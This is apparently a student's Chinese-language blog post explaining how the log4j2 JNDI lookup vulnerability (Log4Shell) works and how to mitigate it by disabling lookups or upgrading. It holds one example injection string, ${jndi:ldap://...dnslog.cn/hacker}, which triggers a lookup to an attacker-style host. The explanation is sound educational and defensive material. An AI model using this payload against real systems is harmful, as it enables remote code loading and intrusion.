log4j漏洞原理学习
前言
从一月初到春节这段时间一直在学习408和密码学的相关知识,闲暇之余想起来考研期间(确切讲是12月初)被曝出的log4j的漏洞。一方面,许多的公司以及大型企业都用到了这个开源项目,而且这个漏洞几乎不需要任何特殊配置,因此几乎人人中招;另一方面,在一个名叫《我的世界》的游戏的多人模式中,许多的服务器也使用了这个开源项目用于调试,这导致了许多服主连夜关机修补。因此我对这个漏洞也十分好奇,想了解一下它的具体工作原理。
啥是log4j
log4j并不是漏洞的名字,而是一个开源项目的名称。
它最主要的作用是可以把控制日志信息输送到一个指定的位置,例如控制台,文件,或者是套接口服务器。这个项目大大方便了操控者的调试工作,也弥补了java的一些不足。
漏洞原理
在log4j(准确是log4j2)中有一个lookup接口,它可以在输出日志的时候,通过某种方式去查找要输出的内容。
如图所示,log4j2将会对这行要输出的字符串进行解析,它发现了字符串中有${,要单独处理,发现是JNDI扩展内容。
JNDI是一种查找和访问各种命名和目录服务的通用、统一的接口,类似于JDBC,它可以远程下载class文件来构建对象。
log4j 2中JNDI解析未作限制,可以直接访问到远程对象,例如黑客的服务器。
我们可以假设用户名是从外部获取的用户输入,此时构建一个恶意用户名${jndi:ldap://abcde.dnslog.cn/hacker}
,然后触发日志记录。
这就相当于来了一次JNDI注入。
有关解决和修复
方式一:禁用lookup或JNDI服务
罪魁祸首就是lookup和JNDI,那么直接修改配置文件log4j2.formatMsgNoLookups=True或禁用JNDI服务,不过一般产生问题的服务都是线上已经在跑的服务,禁用的时候要注意评估一下是否允许。
方式二:升级新版本
新版的log4j2已经修复了这个问题,升级即可解决。修复后的log4j2在JNDI lookup中增加了很多的限制:
1.默认不再支持二次跳转(也就是命名引用)的方式获取对象
2.只有在log4j2.allowedLdapClasses列表中指定的class才能获取。
3.只有远程地址是本地地址或者在log4j2.allowedLdapHosts列表中指定的地址才能获取
这样处理等于是去掉了通过打印日志去远程加载class的方式。
参考
https://www.jianshu.com/p/1517b8c8ebf9
https://zhuanlan.zhihu.com/p/447266098
https://www.cnblogs.com/williamjie/p/9197738.html
bilibili相关视频以及专栏